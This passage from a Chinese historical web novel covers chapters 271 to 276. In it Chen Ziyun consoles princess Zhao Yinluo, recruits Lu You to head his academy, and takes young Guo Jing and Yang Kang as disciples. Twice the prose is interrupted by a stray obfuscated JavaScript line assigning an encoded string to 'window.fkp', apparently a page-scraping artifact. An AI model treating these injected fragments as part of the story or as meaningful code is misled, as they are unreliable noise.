可实际上,赵茵萝听政这件事情本身对于他来讲不能说是完全的坏事,他没有儿子,赵茵萝又是他唯一的女儿。 要是按照赵宋历来的规矩,没有子嗣的皇帝,大位不是传给兄弟就是传给侄子。 可那些人再怎么样,在感情上来讲,怎么可能比得过自己一手带大的闺女。 虽然自己这个小棉袄,这一手让他这个老父亲有些寒心,可事情既然已经如此,他这个做皇帝的爹爹,自然也不可能做出非要推翻自己女儿的蠢事。 “呜呜……” 赵茵萝紧紧的抱住了陈子云,肆意的宣泄着自己的委屈与愧疚。 可是就如陈子云所说,他们在发动计划之前,早就推演过几次事情的结果了,第一个就是要克服赵茵萝对于宋宁宗的情感包袱。 不是说让赵茵萝立刻就六亲不认,反而正相反,他们之所以选择不与宋宁宗商量,反而选择这种携大势成定局的状态。 很大一部分原因,就是不想赵茵萝跟宋宁宗直接起冲突。 可以想象,如果赵茵萝直接以女儿的身份向宋宁宗提出要垂帘听政,宋宁宗能答应的概率微乎其微。 不是说宋宁宗不舍得这点权利,不想让赵茵萝参政。 而是宋宁宗必须考虑赵氏宗族的意见,他虽然贵为皇帝,可并不说他就能为所欲为了。 在朝政上,他必须倚重朝臣治国,而在宗族方面,自然也有赵氏老一辈人在左右着。 宋宁宗不是赵宋帝国的开创者,他只是一个南宋小朝廷的继承者,没有那种挥斥方遒,独揽超纲的魄力,让他可以做到丝毫不顾及他人的意见。 说白了,他这个皇帝,除非能做出收复失地,直捣黄龙的丰功伟业来。否则他不过就是个各种利益分配的中枢而已,远远做不到一言九鼎,言出法随的程度。 而赵茵萝跟韩侂胄此次选择明目张胆的的夺权,对于宋宁宗而言反而好过了不少。 朝臣自然是由韩侂胄直接摆平了,而赵氏宗族如果有反对意见,宋宁宗也可以借此理由塞住那些宗老的口。 毕竟是众望所归嘛,他也是无可奈何,总不能自己朝纲独揽直接推翻众臣的决定吧,这可是跟祖宗法度不合适的,毕竟有宋一朝都是崇尚与士大夫共治天下的。 “娘娘……子云师傅……娘娘怎么办啊,她会不会……” 赵茵萝想起了在深宫中的韩皇后,要是对方知道,他们父女之间闹出这样的矛盾来,还不知道会如何呢。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百七十一章 私塾扩张 “别多想,你想想,你爹爹什么时候会把这朝堂上的麻烦事带到你娘娘那里去过,何况……” 陈子云本来是想说,何况宋宁宗明显知道韩皇后是听不得赵茵萝这样跟他这个父亲作对的,自然更加不可能跟她说这件事。 “不会吗?” 赵茵萝还是有些踌躇。 “不会的。” 陈子云拍拍她的肩膀道。 “等事情和缓了些,你再将这件事的原原本本告诉皇后吧,想来她会明白你的苦心的。” “嗯,娘娘……娘娘可是这世界上最温柔的人呢。” 赵茵萝轻声道,语气终究不是那么肯定。 …… “郭靖,杨康,你们都听好了,陈先生是了不得的人物,你们今天能拜他为师,是别人几辈子都求不来的事情。 以后一定要尊师重道,要以比对待你们父母都恭敬的姿态更加尊敬。 如若不然,就别怪我们这两个做父亲的先教训你们。” 郭啸天跟杨铁心严肃的对着面前两个如今已经七八岁的男孩儿说道。 不用看,那个看着有些木讷的只知道的点头答应的自然就是郭靖了,而那个面貌清秀眼睛里透着机灵光的自然就是杨康了。 “好了,好了,靖儿跟康儿都是明事理的好孩子,你们就不要再板着脸了。这些年在陈先生这里读书,他们学到的道理可不一定比你们两个当爹的少了。” 李萍笑着摸了摸两个孩子的脑袋。 包惜弱则是从篮子里拿出了两块糕点递给了被自己父亲教训的有些局促的孩子。 “你们两个啊,自古慈母多败儿……” 郭啸天摇摇头,可终究没有再说下去。其实他也知道,自己这个父亲在孩子心里的地位,还真不一定能比得上陈先生。 自从这两个孩子进了私塾,在陈先生的教导下,小道理是一套一套的。每次小孩子犯了错自己想教训,甚至被气的要动手的时候,对方总能背出一些让自己不得不思索一番的文章来。 这让他们这两个半文盲当爹的,当的是即高兴,又憋屈。高兴,自然是因为自己的儿子比自己出息;憋屈是自己当父亲的威严似乎越来越难以维持了。 “郭靖、杨康,两位叔叔婶婶,先生已经在里面等着了,还请跟我进来吧。” 一个一身儒装二十来岁,却是长得不下七尺的高个青年从私塾里出来了,听那语气似乎是来迎接他们一行人的。 “牛大哥……牛大哥好。” 这是两个孩子的称呼。 “是在我啊,辛苦你了,来先吃块糕点,是你杨婶婶跟我上午刚做的,还热乎着呢。” 李萍熟稔的从那个放着糕点的篮子里掏出两块糕点递了过去。 “谢谢婶婶。” 这位叫做牛在我的青年笑着接过去了,没有丝毫的做作,而郭啸天几人也倍感清切,似乎这才是理所当然的。 “在我如今可是了不得啊,听说你家的门槛都快被媒人给踩烂了。真是想不到,以前那个只长个的小家伙,如今竟然出落的这般伟岸了。 现在就算是你杨叔我也不敢跟你比箭法了,瞧你的这天生的架势,简直就是养由基在世了。” 杨铁心拍拍牛在我硕长的身体,本来要拍肩膀的动作以他是身高却能拍到对方的手肘。 “双手过膝,在我这可是天生是贤者异相,我们平时能用一石弓打猎已经是不错了,在我可是能连开三石弓,还连射不疲的。 况且又有名师指导,哪里是我们这些泥腿子能比的,杨兄弟你也真是糊涂了,哈哈。” 郭啸天也热情的拍拍这位曾经还跟着他们兄弟两学过一段时间弓箭的年轻人。 虽然他们郭杨两家到了他们这一代算是真的没落了,可毕竟祖上是出过响当当的人物的,而且杨铁心的家里还藏着一张祖上传下来的五石弓。 这张弓具体的来源已经不可考了,郭啸天跟杨铁心都试过,自己就算是用尽全力,也不过是勉强能拉开而已,根本用不了。 而这位牛在我,却是这个牛家村唯一能用这张弓打猎的人。要不是他已经拜了陈先生为师,他们二人说什么也要收下这个弟子,也好给自己家的弓箭找个传承。 众人跟着牛在我进了如今已经大变了摸样的私塾,本来这个陈子云不过是一时兴致创办的私塾,起初不过是靠在陈府旁边的一两间茅草屋。 如今却是已经变成了将整个陈府都囊括进去,甚至还将附近的一座小山头给围进来的大书院了。 这样大的私塾自然就不能叫私塾了,有了正式的名字——格物书院,名字并不新颖,取子儒家经典《大学》。 “古之欲明明德於天下者,先治其国;欲治其国者先齐其家;欲齐其家者先修其身;欲修其身者,先正其心;欲正其心者,先诚其意;欲诚其意者;先致其知;致知在格物。物格而后知至,知至而后意诚,意诚而后心正,心正而后身修,身修而后家齐,家齐而后国治,国治而后天下平。” 作为后来人的陈子云,对于那些有点偏向于唯心主义的儒家学说其实是并不特别上心,但是唯有格物二字,却是后世的一切科学的起点。 也是启发一个人的好奇心的关键,对于一切不可知事物的探究,要抱着一颗不断怀疑,不断追求的心,这才是个人和社会进步的一切动力。 陈子云为了这书院,也是难得的进宫去跟宋宁宗求了亲笔御书来。 不过也正是因为如此,不知怎么的,朝堂上的那些官老爷们也就知道了,在这个临安小角落里,竟然还有个驸马爷亲自教书的私塾。 一开始只是类似政治投机一般的将自己家族里一些不重要的子弟送了几个过来。 而当韩侂胄有意无意的亲自驾临书院,还有模有样的讲了一堂课业,那些人就恨不得将自己的亲儿子都塞进来了。 开玩笑,不管这个私塾,或者小书院的教学质量如何,但凡能搭上韩侂胄,这个当朝宰相的线,难道还怕科举无望吗? window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百七十二章 放翁老人 而这样一来,这些大小官员自然就不能看着自己的孩子在这样一个破烂不堪的草庐里上课了。 你今天捐一栋楼,我明天买一块地,陈子云这个小小的私塾,在不到三年的时间里,就发展成了,临安城外最大的书院。 至于说突然多出来的那些学生怎么教,自然是有的大把想进书院的先生教,难道还指望陈子云将着几百号的学生都一个人教了? 而且这些学生不但年龄大小不一,连基础的学识也是大为不同,有的早就有了秀才功名,有的不过是在读的蒙童。 陈子云只好将这些人大略的按照年龄分成了几个班级,雇用了几个先生分别教育他们。 这些先生基本都是通过韩侂胄的关系找的,毕竟人家把自己孩子送来,也是冲着韩侂胄的面子,要是教书的人的排面不够,怕也是镇不住这些见惯了高人的子弟。 本来以陈子云的身份,做这个格物书院的山长也不是不可以,但是随着赵茵萝一步步在朝廷上站稳的脚跟,一步步的深入参与军国大事。 陈子云作为赵茵萝的狗头军师,自然需要花更多是时间,在帮对方揣摩朝政,跟分析国情上。 这教书的行当,他最多也就是十天半个月才能来一次。 一时之间,格物书院的山长一职,让陈子云耗费了不少脑筋,直到韩侂胄有一天笑嘻嘻的找到他,给他指点了一个人物。 陈子云当场就认定了这个人,就是担心对方愿不愿意来。 陆游,字务观,号放翁,汉族,越州山阴(今浙江绍兴)人,尚书右丞陆佃之孙,南宋文学家、史学家、爱国诗人……陆游生逢北宋灭亡之际…… 这段作者的介绍,陈子云依稀记得,还是自己当时在背诵那首脍炙人口的《示儿》时记下的。 “王师北定中原日,家祭无忘告乃翁。”啊! 要说这浩浩史书中写过家国情怀的诗人不胜数,可能像陆游这般真的一生都在为这件事颠簸的却是没几个。 陆游,算是个长寿的吧,应当是活到了八十出头,在这个时代已经可以算是半个祥瑞了。 这位老人家,天生的才子,传言十二岁便能诗文。可惜到了科考之时,秦桧当政,因为陆游当了其孙子的道,刻意难为他,导致仕途不畅。 后面秦桧病逝,可又因为他一直主张北伐,跟当时的政治环境无法融洽,所以也难得升迁,还因为政治上的不成熟而几次被贬谪。 直到王炎宣抚川、陕,驻军南郑,召陆游为干办公事,陆游才欣喜万分,只身前往南郑,与张季长、阎苍舒、范西叔、高子长等十余人同在南郑幕府任职。 王炎委托陆游草拟驱逐金人、收复中原的战略计划,陆游作《平戎策》,提出“收复中原必须先取长安,取长安必须先取陇右;积蓄粮食、训练士兵,有力量就进攻,没力量就固守”。 虽然陆游的军旅生涯不长,可这段时间的感受,却给他留下终生难忘的记忆,也是真正的升华了他的爱国情怀。 而如今这位已经八十的老人,此时正好在临安,他是被召回来修国史的。可悲可叹啊,一个一心想为国做事,平戎北伐的人物却还只是因为自己的文名被用。 当时陈子云找到这位依旧健硕的老先生时,对方正笑嘻嘻的在跟自己的孙儿逗笑。 当陈子云提出他的邀请时,这位放翁先生只是问了他一句话。 “教这些子弟,能收回北地否?” 陈子云默然,这自然是不可能的,南宋要收回北地,哪里是靠这百十人能够决定的。 “既然如此,老朽何不含饴弄孙的好,何必去你那里,做个活菩萨。” 放翁老人依旧是笑吟吟的看着陈子云。 陈子云思绪百转,最后缓缓的吸了一口气,凑近了陆游老先生的耳旁,轻轻的吐出了几个字。 就这么几个字,将这位亲身经历了靖康之变,又在南宋历经五位帝王的国宝级老人差点将怀中抱着的孙儿都扔出去。 那双已经浑浊的泛着白的眼睛,突然之间大方光明,两只已经干枯的手掌,紧紧的握住了陈子云的双手。 那种颤抖,那种因为激动,希望以及不可置信的神情混合在一起的冲动,连陈子云都感觉自己被带着抖动了。 “能看见?来得及,来得及吗?” 放翁老人颤巍巍的语调,却是用不容置疑的神情问出来的。好像但凡陈子云敢说是一句来不及,不能,就要将他活生生撕碎。 当时陈子云也是笑眯眯的跟这位老人家讲。 “您老要是能再坚持活个五年就有希望看到,要是能再坚持个十年,到时候我亲自送您去开封。” “开封,开封……” 放翁老人一字一顿的呢喃着。 当陈子云真的把这位老人家请回了牛家村,请到了格物书院里,不说那里的学生老师屈膝下拜,就是连韩侂胄也亲自来了一趟。 不说陆游的官途坎坷,但是他如今已经是南宋文坛上不可质疑的宗师人物,但凡能得到这诶老人指点的,虽然不能官路亨通,但绝对能让他的文路不凡。 而且这位老人在这方面却格外的吝啬,轻易绝不指点后辈,就是连自己的子弟,也是应付而已。 如今他竟然能被陈子云请到这个刚刚成立是格物书院来,实在是这个书院的最大荣光。 有这样的人物当格物书院的山长,别说韩侂胄,就是宋宁宗也挡不住那些真正想求学的子弟来这里了。 也是因为陆游做了格物书院的山长之后,书院的规模一扩再扩,不得已陈子云只好开始限制书院的招生。 在进书院之前必须通过考核,否则这格物书院不知道是不是要扩展到临安城墙下去了。 如今这些年过去,格物书院也有学子参加了科举考试了,就算是跟牛在我同一届的,也已经有了进士出身的人物了,当然那也是凤毛麟角,天才非凡的那些。 牛在我也去考了,不过只是过了秀才试,毕竟他入学的时候晚了,而且他的天赋也不在读书上。 第二百七十三章 拜师 “先生,他们来了。” 牛在我对着在堂上端坐的陈子云躬身道。 “嗯。” 陈子云放下手中的资料,对着进来的人点头打了个招呼。 “那就开始吧,一切从简,靖儿跟康儿递一杯茶就好了。” “多谢陈先生抬爱这两个孩子,我们也知道您什么都不缺,但这是一份心意,还请您务必收下。” 李萍将身上跨着的篮子递了上去。 “嫂子有心了。” 陈子云起身接过,随即吩咐牛在我上茶。 “先生,请喝茶……” 两个在家就已经被嘱咐过好几次的孩子,异口同声的说道。 “好好。” 陈子云依次接过茶,象征性的都喝了一口。 “靖儿康儿,书院里的课业你们还是跟往常一样,切记不可懈怠。至于武学方面,你们先跟着你们大师兄学,一切都要从基础开始。 至于你们两个的名分,你们是同一天入我门的,那就还是以你们的先后出生顺序吧,郭靖算是我二徒弟,杨康就排第三吧。” “谨遵师命。” 二人又是磕头。 “好了,你们也知道,我平时就最不喜欢这动不动磕头的,以后见到我,按照以前那样行礼就好。 尊师重道,在心不在行,只要你们能做到心里坦荡就算是对我最好的敬重了。” 示意牛在我将两人扶起,又拿出了准备好的小腰牌给两人。这是如今进这陈府的凭证了,毕竟书院已经将陈府都包了进来,总不能让这些普通的学生都随意进入自己的府宅内院,只好用这腰牌来辨别身份了。 “是,师傅。” 郭靖躬身应道,杨康则是有些好奇的打量着自己手上这块不知道是用什么东西雕刻而成的牌子。拿在手里有种触摸到温水的感觉,就像是自己母亲早晨给自己擦脸时一样的温暖。 “牛大哥,这是什么做的啊?” “要叫大师兄了。” 牛在我轻轻敲了一下杨康这个好问小子的脑袋,提醒对方道。 “啊,是是,师弟见过大师兄。” 杨康也是机灵的,随即就恭恭敬敬的给牛在我行了一个礼,一旁的郭靖还在愣神,不过好在有李萍及时提醒,才也跟着叫了一声。 “见过大师兄。” “好,乖了。” 牛在我从怀里掏出两把小小的乌黑亮丽的,形状似弯月的东西。 “哦,在我,你这个做大师兄的倒是舍得,这老黑褪下来的牛角制成的角刀,小黄蓉可是求了你几次,你都没舍得给,这下却是都要送人了,你自己也不留一把。” 陈子云看到牛在我拿出的东西,很是有些意外的说道。 “先生当时将这两柄小刀交给我,是想让我有个防身的东西。当时不顾小黄蓉的哀求,是因为在我知道,以小黄蓉的性子,对这两把小刀也不过是一时的兴致,何况桃花岛宝物无数,所以她必然不会像弟子那般爱护它们,弟子自然不敢讲恩师赐予的宝贝给她。” 牛在我缓缓说道,随后指指郭靖杨康。 “但是他们不同,我相信他们会像弟子爱护这对小刀一般爱护它们的。” 牛在我郑重的将这两把小刀递给了郭靖跟杨康。 “你们先是兄弟,现在又成了师兄弟,天底下再没有比这更珍贵的情意了。希望你们如这两把牛角小刀一般,互为犄角,永世守护对方。” 牛在我说着还郑重其事的将两人没有拿着刀的两只手紧紧的牵在了一起。 “嗯,牛……大师兄,我会的,我已经答应过爹爹了,一定会好好保护康弟弟的。” 郭靖用力的说着,将杨康的手紧紧的抓在手心里。 “嗯。” 杨康只是抿着嘴点点头。 “如此就好,你们大师兄给你们的这两边牛角小刀可不比任何神兵利刃差,平时只能藏器于身,不到万不得已不可轻易出刀。 这刀,一般的铠甲都是挡不住的。” 陈子云也在一旁说道,这句话更多是讲给两人的父母听的,毕竟自己这两个新收的弟子,还都只是七八岁大的孩童,这样的利器,自然需要监护人把控。 “哎,靖儿康儿,还不快谢谢你们大师兄的赠礼以及恩师的指点。” 郭啸天在边上提点道。 “谢谢大师兄赠礼,谢谢师傅指点。” 郭靖连忙学着自己父亲的口吻拜谢道,而杨康则是刚从正在稀罕自己刚到手的宝贝中回过神来。 还是他老爹看不下去了,直接上来就摁着他的小脑袋,朝着牛在我跟陈子云两人鞠躬。 “杨兄不必如此。” 陈子云连忙阻止杨铁心的粗鲁行径。感叹对方,难道就没看出,他这个儿子早就对自己这个粗鲁无礼的父亲有不满的情绪了吗。 自从五岁那年,杨康跟郭靖被送来私塾启蒙教学的时候,陈子云就发现了这小杨康的天赋异禀。 一般学生要学一周的东西,他基本两三天就能掌握了,更不用说还有他那个傻兄弟做对照。 如此一来,小杨康自然也发现了自己的与众不同,在老师的夸赞和同学的羡慕声中,早就养成自己的傲气。 可是,家里的父亲却总是以为自己是一家之主,完全不给他这个聪明异常的儿子足够的尊重。 像杨铁心这种出生于将门世家的落魄子弟,基本都是奉行棍棒底下出孝子的那一套的。而且也是因为看出了杨康的不凡,就越发的对他严格,从来不给好脸色。 他也是指望自己的儿子能有朝一日恢复祖上的荣光,而包惜弱的性子又实在太软。杨铁心在别的事情上都能照顾到自己妻子的,可是在教育儿子这件事情上却是格外的固执。 就算是几次与包惜弱争吵,也固执己见的要竭力压榨自己儿子的潜能。所以在这样的环境中,杨康要是能跟杨铁心这个父亲关系好才怪了。 “好了,跟我去见见你们师娘吧,说不得还能给你们讨点好东西呢。” 陈子云朝着两个小孩子招招手,示意他们过来,而郭啸天跟杨铁心夫妇则是识趣的告辞了。 第二百七十四章 选择 因为所有牛家村的人都知道,要说这村里子最受尊重的肯定还是陈大善人,可要说最神秘,最威严的却是那位近些年来基本不见人的陈夫人。 除了刚来牛家村的那段时间,还算是露过面,到了后面基本就没有人在记得这位气质高贵的陈夫人长得是什么摸样了。 陈子云带着两个小孩子,走过院内的小桥流水,一步步朝着赵茵萝平时处理公事的院落靠近。 是的,不单单是小私塾变成了大书院,就是连陈府也在原来的基础上扩建了不少,基本算是把以前公主府里的家当都搬过来了。 而两个小家伙,看着从来没见过的如此美轮美奂的院落,其中坐落着跟临安城里那种不可直视的高大建筑还更加威严的楼阁,实在是让他们看花了眼。 在路过那个同样被重新开拓了一番的小池塘,如今已经变成了老黑的乐园,除了临安最冷的那几天,老黑基本就是待在里面不上岸的。 也不知道是不是年纪越大的牛皮就越厚,也不知道它是靠什么抵抗寒冷的,如今的天气碰水可不是好受的。 “是神牛……” 郭靖低低的惊呼了一声,指着正在池塘中假寐的老黑,激动的拉着杨康的衣袖说道。 “真的好大啊,不过是露出了一个背脊,就比桥还宽了。” 杨康也是目瞪口呆,虽然他们也偶尔看到过老黑走出陈府的院子,在书院与牛家村里散步。 可不管是对于陈府的敬重,还是这头老水牛不似寻常的体型,都让他们这些小屁孩有些望而生畏,只敢远观。 之所以老黑被他们,甚至是书院的学子以及牛家村的村民称呼为神牛。是因为有一次在老黑出去散步消食的时候,恰巧救了一个因游泳时抽筋而在水里挣扎的小子。 更神奇的是,老黑将这半死不活的,喝饱了河水的小家伙救上岸,并没有丢下就不管了。 而是扛着这个肚子鼓胀已经翻着白眼的小家伙,在溪边来回的踱步。 那些不明所以的,赶来围观的人,正犹豫的要不要冒着这个可能得罪陈府的风险,去阻止这头在他们看来是在折腾尸体的老水牛。 还好当时已经是老的要拄着拐杖才能走路的老村长赶到了,看到老黑那一掂一掂的步伐,连忙问身边眼神好些的小年轻。 那牛背上的小子,是不是肚子朝下,口里在往外吐水。 还没等那小年轻回答,就看到那个牛背上本来几乎已经死过去的小家伙,挣扎了一下,直接就从牛背上摔了下来。 “啊呦……” 痛哼声不大,却是让所有看明白情况的人都是愣眼了。 “通灵了,通灵了,跟大善人家的那两只神狐狸一样啊。” 也不知是谁先呼喊了一声,那个落水小子的刚赶到的亲人们直接就给老黑跪下了,有几个村子里笃信佛教的老婆子也跟着拜倒。 老村长倒是够冷静,只是让人先将落水的孩子先带着去找医者了,随后自己缓缓的靠近老黑,在人们担忧的目光中,将手放在了老黑的宽厚的脊背上。 “哞……” 老黑轻唤了一声。 老村长丢下手中的拐杖,正身朝着老黑缓缓一拜。 “老朽替牛家村多谢神牛护佑我村小辈。” 那些跟在村长后面的后生们,都是神情凌然的跟着下拜。 老黑甩甩身后的尾巴,摇晃着脑袋,反而是不在意的往回家的路上走,他消食消的差不多了,等会去池塘里躺着,慢慢的反刍。 这事情的首尾,陈子云还是在老村长带着那被老黑救了的那小孩的一家子来登门拜谢时,才知道的。 当时他毫不客气的代替老黑将一些可以作为饲料的食物收下了,至于说那不知道从哪个角落里翻出来的似乎是古董的东西,陈子云直接打发对方,要是有心就等每年春暖花开之时,割最新鲜的十斤嫩草来即可。 也就是在那之后,那个被老黑救下的少年,如今的青年,每逢三月初春,总是会背着满满的一大篓子比他人还高的青草送来。 虽然这东西陈府里从来不缺,但老黑可不管是谁送来的好食料,自然是一视同仁的好胃口。 这些年来,陈子云也是纳闷,如果说刚开始,这头老牛是因为被前面的主人家虐待没吃好,所以吃的有些多。 可越到后面,这老家伙的饭量反而越长,个头也一直涨个不停,别说是陌生人,就算是府里的丫鬟老妈子,每次看到从池塘里出来的庞然大物,也纷纷绕道而行。 就算他们知道,这头驸马爷带回来的神牛只救人不伤人,可那种已经可以说是来自物种上的压迫,让他们无论如何都不敢靠近。 “这哪里是什么神牛,牛魔王也不过如此了。” 陈子云当时看到老黑在府里生人勿近的摸样,也不禁感慨道。 在陈府也就两头混不吝的白狐,加上陈子云跟赵茵萝不介意老黑的个头,其他人基本都是敬而远之。 “怎么,敢不敢上牛背上去?” 陈子云突发奇想的笑着向两个小家伙问道。 杨康本能的立刻摇头,已经读过一些史书兵法的他,将趋利避害认识的相当透彻了,这种可能要自己小命的事情,怎么会干。 郭靖见自己的康弟弟不去了,也想跟着拒绝。 “那这样,两条路给你们选,一条是跟着我走桥上过,一条那就是上牛背,让他驮着你们过去。 当然,不同的路,有不同的收获。从桥上过,自然是万无一失的,但是同样也没什么奖励;要是你们敢坐着老黑,也就是这头水牛过去那我就奖励这人一个要求,只要不过分,我都答应。 你们要再考虑,考虑吗?” 陈子云直接露出了些许促销的坏笑。 杨康犹豫了,看着陈子云的眼神开始飘忽,可当眼角瞥到那水塘中的乌黑时又像是被针扎似的颤抖,一面是恐惧,一面是凭直觉就能感受到的不凡的收获。 “师傅,您要是希望郭靖上牛背,那我去就是了,不用什么奖励的。不过康弟弟不善水,让他跟你走桥上吧。” 郭靖说着要往池塘里去。 第二百七十五章 两条路 杨康有些诧异,正想去拦下自己这个傻哥哥,哪有将这么冲动的,还将好处往外推,而且谁说我的水性不好的。 可不知道怎么的,杨康已经迈出了一步,半张开了嘴,可那句话就像是卡在了喉咙里了,直等到郭靖试探着还有些刺骨的水温时也没能说出口。 “扑通……” 郭靖直接朝着老黑游过去了。 这下杨康彻底放弃了提醒对方的打算,可这样想想,让郭靖试试也不错,反正有师傅在,想来也不会出什么事情。 这样一想,杨康似乎有些后悔,自己为何没有跟着郭靖一起下水了。 可这时也晚了,在郭靖做出选择后,陈子云已经拉着他的手往桥上走了。 虽然池塘水刺骨,可郭靖还是很快就靠近了老黑,也因为寒冷,似乎让郭靖暂时忘记了对于这头传说中的神牛的敬畏。 当郭靖攀上老黑的脊背时,本来在水中假寐的老黑也终于是察觉到了什么,睁开那双几乎跟小郭靖脑袋一样大的牛眼,歪头朝着自己背上突然多出来的小东西瞅了一眼。 似乎感觉到了自己背上的这个还不如自己脑袋大的小东西在寒冷的颤抖,就稍稍挥动蹄子,让自己多浮出水面来一些。 随后就朝着岸边游去,似乎驮着人上岸好像就是老黑刻在骨子里的本能一般。 “老黑,反了。” 正在桥上的陈子云喝了一声。 “哞……” 老黑朝着桥上叫唤了一声,然后摆动尾巴扭转头颈,整个庞大的身躯,直接在大池塘里掀起了层层叠叠的波涛。 郭靖死死的抓着老黑身上的毛发,他此时已经被老黑突然的转身给甩出了一半,脚已经又浸入了水里。 老黑好像也注意到了背上的小家伙的顾虑,微微拱起了一些,直接就带着郭靖出了水面,他就像是坐在一个湖中的小亭子中一般。 等老黑将郭靖送上岸的时候,这小家伙已经抖的不成样子。虽然书院里也教一些强身健体的把式,可他终究还是年纪太小了些,这时还没练出什么名堂来。 杨康见到自己那位傻哥哥浑身发抖的摸样,倒是主动甩开了陈子云牵着他的手,脱下自己的外衣就要给郭靖披上。 “有这份心不错的,但是要知道一个人想对别人好,起码要先知道怎么做才是真的会使对方受益,否则不过是好心办坏事。” 陈子云缓缓说道。 杨康把衣服披在了郭靖身上,随后回过头来问陈子云。 “还请师傅明言。” “郭靖,把衣服都脱了。” 陈子云没有回答杨康,倒是对郭靖说道。 郭靖看了陈子云一眼,也没有反驳,先是将杨康的衣服还了过去,然后就开始脱自己的衣服,湿漉漉的一摊被整齐的叠起来,放在了一遍。 陈子云先是拍了拍老黑的脑袋,老黑温顺的趴下,将春寒的风潮挡下了大半,那硕大的身躯同时散发出来的热量,让郭靖顿时感觉不再那般的寒冷。 陈子云接着从杨康的手中拿过那件郭靖还回来的衣服,用内里将郭靖还有些水渍的身体擦干。 随即又将衣服丢回到杨康手里,最后用自己身上批的厚披风将郭靖全身包裹上。 “如此,你的好心就是真的办了好事了,虽然只是一半,但也总比坏了事的好不少。” 陈子云对着拿着自己沾湿了的外套有些不知如何才好的杨康说道。 “多谢师傅指教。” 杨康将衣服随意丢在地上,朝着陈子云拜谢道。 陈子云看着那件被随意遗弃的衣服,眼神莫名的盯着这个将来可能会背父杀兄的狠角色,心里明暗难定。 “怎么都在外面,不进来吗?” 一袭火红的长裙不知什么时候从房里出来了。 “怎么衣服都没穿好?” 赵茵萝说着将手里本来当做暖手用的一丝杂色也无的上等皮毛,直接围在了杨康的胸前。 一股带着无法言喻的软玉温香,将本来忐忑不安的杨康抚慰。 “哪个是杨康,哪个又是郭靖?你们这位师傅,可是没少在我面前说起你们,倒是这么些年也没见见你们。” 赵茵萝自然知道今天是自己子云师傅正式收徒的日子,虽然面前这两人,甚至包括牛在我也不可能真的跟自己以师姐弟而论。 但作为师娘,不是以应该更加需要体现出一些关怀吗。 “师娘,我是杨康,他是郭靖。” 杨康的眼色自然不是郭靖这个傻小子能比的,在看清楚来人神态的瞬间就确定,面前这位让他惊为天人的女子就是自己的师娘。 一袭大红色金边的长裙,温婉的身段跟自己的娘亲很像,不过对方脸上那藏在白纱下的面容充满了神秘的色彩。 而那双犹如神话彩绘中凤凰的妙目一般的眼眸,隐隐透露出来的威严,让人不敢直视。 “师……娘。” 郭靖此时也不知道是因为刚才受了凉而颤抖的发音,还是一时之间见到这位非同寻常的师娘,让他紧张的说不清话。 “乖了,跟师娘进来,我给你们准备了些小礼物。” 赵茵萝放下怀里的小白,打发它自己找老黑玩耍,然后牵着两个小家伙的手就进了房间去,倒是吧陈子云丢在了外面。 “吱吱……” 负责给赵茵萝守门的小黄过来蹭了蹭陈子云的小腿,似乎是在安慰他的备受冷落。 “呵呵呵,小黄啊,还是你仗义。” 陈子云正想一把抱起狐狸来亲热一番,没想到,自己刚蹲下身,小黄却是不着痕迹的躲开了去。 “你这小东西,越长大怎么越是投靠过去了,实在是叛徒的很。” 陈子云笑骂了一声。 小黄却是不理会他,而是追着自己的狐狸妹妹小白,一起沿着老黑的蹄子,上牛背,上肩,最后直接在老黑的头上坐稳当了。 “吱吱吱吱……” 两只狐狸叫唤了几句,然后老黑救跟着回应了一声。 硕大的身躯站起了身,带着头上的两只狐狸,也不知道他们商量着要往哪里去。 第二百七十六章 辛老 等陈子云走进赵茵萝的书房的时候,两个小家伙已经是一副谢恩的摸样了。 “我给你们的东西尽管拿着,不管高低贵贱只是一份礼物而已,要是你们家里的长辈觉得不合适,那就让他们先拿着压箱底,等他们觉得你们拿着也不会招惹麻烦的时候再拿出来就是了。” 赵茵萝说完就挥了挥手,示意她讲完了。 “谢过了,就自己回去吧,以后每日书院放学之后,先跟着你们的大师兄练半个时辰的拳脚再回家。” 陈子云吩咐道。 “是,师傅。” 两人躬身行礼,然后有些逃也似的出了书房。 陈子云看着两人手忙脚乱的样子,不由得感叹,不管是以后的金国小王爷,还是将来独力守襄阳的郭大侠,如今终究不过是两个乳臭未干的臭小子。 “茵萝,你这是给了他们什么东西,让他们如此着急忙慌的样子,连杨康那小子好像都很是吃惊。” “哦,这么说,子云师傅是更看好杨家这位了?” 赵茵萝挥了挥她那宽大的袖袍,一只手支撑着自己的下巴,饶有兴致的问道。 “要是不走偏的话,他确实更加适合我的武学。” 陈子云也是直言不讳。 虽然在射雕里,郭靖是天定的主角,而杨康不过是个无论如何都不应该有好下场的反面配角而已,可如今的由于自己的介入,两人的成长环境已经天翻地覆。 郭靖没有了大漠的风霜打磨,杨康也没有了金国的优渥生活。单单从两人的天赋来讲,杨康确实是胜过蠢笨的郭靖百倍。 就算可能不如自己儿子那般的天才横溢,但是作为杨过老子的杨康,自身的条件也差不到哪里去。 在这几年的书院中的表现就能看得出,起码在理解能力上,最少要甩郭靖那傻小子好几条街。 不是说郭靖那种一根筋的选手就不好,只是要看在哪个老师底下学习。陈子云其实是跟黄药师的品性类似的,虽然没那么极端,但是对于蠢人他是无法做到真正待见的。 还是等到有机会,将郭靖介绍给洪七吧,自己虽然也知道几招降龙十八掌,可要是让自己来教,说不得还没把郭靖教会,他就要先疯了。 “嗯,确实是个伶俐的孩子。” 赵茵萝自然也看出了这两个小孩子的区别。杨康是属于那种,在人群里一眼就能跳出来的,而郭靖就像是撒进大海里的细沙。 “可我倒是更喜欢那个傻小子一些。” 赵茵萝笑道。 “哦,为何?你现在可是最讲究效率的,怎么就看上他了?” 陈子云也是含笑而问。 